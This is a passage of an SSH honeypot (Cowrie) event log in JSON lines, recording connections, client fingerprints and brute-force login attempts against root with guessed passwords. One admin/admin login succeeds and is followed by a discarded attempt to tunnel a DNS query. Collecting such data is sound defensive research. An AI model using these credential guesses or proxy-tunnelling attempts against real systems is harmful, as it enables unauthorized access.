{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:57.796138Z","src_ip":"103.115.56.3","session":"3027ad7f263e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tech123","message":"login attempt [root/tech123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:58.427394Z","src_ip":"103.115.56.3","session":"3027ad7f263e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:59.644854Z","src_ip":"103.115.56.3","session":"3027ad7f263e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":51564,"dst_ip":"10.17.0.5","dst_port":22,"session":"d02b145d0265","protocol":"ssh","message":"New connection: 170.106.191.31:51564 (10.17.0.5:22) [session: d02b145d0265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:10.368194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:10.373011Z","src_ip":"170.106.191.31","session":"d02b145d0265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:10.440705Z","src_ip":"170.106.191.31","session":"d02b145d0265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ftpaccess","message":"login attempt [root/ftpaccess] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:10.746746Z","src_ip":"170.106.191.31","session":"d02b145d0265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:11.817795Z","src_ip":"170.106.191.31","session":"d02b145d0265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":53634,"dst_ip":"159.203.135.109","dst_port":22,"session":"6657938f52a3","protocol":"ssh","message":"New connection: 38.93.206.2:53634 (159.203.135.109:22) [session: 6657938f52a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:18.996048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:19.005517Z","src_ip":"38.93.206.2","session":"6657938f52a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:19.057166Z","src_ip":"38.93.206.2","session":"6657938f52a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:19.213063Z","src_ip":"38.93.206.2","session":"6657938f52a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:20.269186Z","src_ip":"38.93.206.2","session":"6657938f52a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38748,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c990d6561e","protocol":"ssh","message":"New connection: 87.251.64.176:38748 (10.17.0.5:22) [session: d9c990d6561e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:28.209257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:28.213584Z","src_ip":"87.251.64.176","session":"d9c990d6561e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:28.309844Z","src_ip":"87.251.64.176","session":"d9c990d6561e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:28.787180Z","src_ip":"87.251.64.176","session":"d9c990d6561e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:28.899212Z","session":"d9c990d6561e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:29.011318Z","src_ip":"87.251.64.176","session":"d9c990d6561e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:29.124583Z","src_ip":"87.251.64.176","session":"d9c990d6561e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":41400,"dst_ip":"159.203.135.109","dst_port":22,"session":"490dcab608db","protocol":"ssh","message":"New connection: 103.98.149.87:41400 (159.203.135.109:22) [session: 490dcab608db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:32.932968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:32.936593Z","src_ip":"103.98.149.87","session":"490dcab608db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:33.167479Z","src_ip":"103.98.149.87","session":"490dcab608db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:33.844523Z","src_ip":"103.98.149.87","session":"490dcab608db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:35.074680Z","src_ip":"103.98.149.87","session":"490dcab608db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":49662,"dst_ip":"10.17.0.5","dst_port":22,"session":"05fceaef4d4c","protocol":"ssh","message":"New connection: 102.88.137.213:49662 (10.17.0.5:22) [session: 05fceaef4d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:37.425198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:37.429340Z","src_ip":"102.88.137.213","session":"05fceaef4d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:37.615224Z","src_ip":"102.88.137.213","session":"05fceaef4d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lemmein1","message":"login attempt [root/lemmein1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:38.389459Z","src_ip":"102.88.137.213","session":"05fceaef4d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:39.577748Z","src_ip":"102.88.137.213","session":"05fceaef4d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":54378,"dst_ip":"159.203.135.109","dst_port":22,"session":"b42652c462d6","protocol":"ssh","message":"New connection: 103.77.242.62:54378 (159.203.135.109:22) [session: b42652c462d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:43.280195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:43.284102Z","src_ip":"103.77.242.62","session":"b42652c462d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:43.530981Z","src_ip":"103.77.242.62","session":"b42652c462d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pazzword123","message":"login attempt [root/pazzword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:44.272356Z","src_ip":"103.77.242.62","session":"b42652c462d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:45.522287Z","src_ip":"103.77.242.62","session":"b42652c462d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":37460,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb1627a8a4ce","protocol":"ssh","message":"New connection: 103.15.222.183:37460 (159.203.135.109:22) [session: bb1627a8a4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:48.085641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:48.089793Z","src_ip":"103.15.222.183","session":"bb1627a8a4ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:48.337263Z","src_ip":"103.15.222.183","session":"bb1627a8a4ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555555a","message":"login attempt [root/555555a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:49.074358Z","src_ip":"103.15.222.183","session":"bb1627a8a4ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:50.321490Z","src_ip":"103.15.222.183","session":"bb1627a8a4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45462,"dst_ip":"159.203.135.109","dst_port":22,"session":"d864d203a05f","protocol":"ssh","message":"New connection: 194.113.233.25:45462 (159.203.135.109:22) [session: d864d203a05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:57.226443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:57:57.230767Z","src_ip":"194.113.233.25","session":"d864d203a05f","protocol":"ssh"}
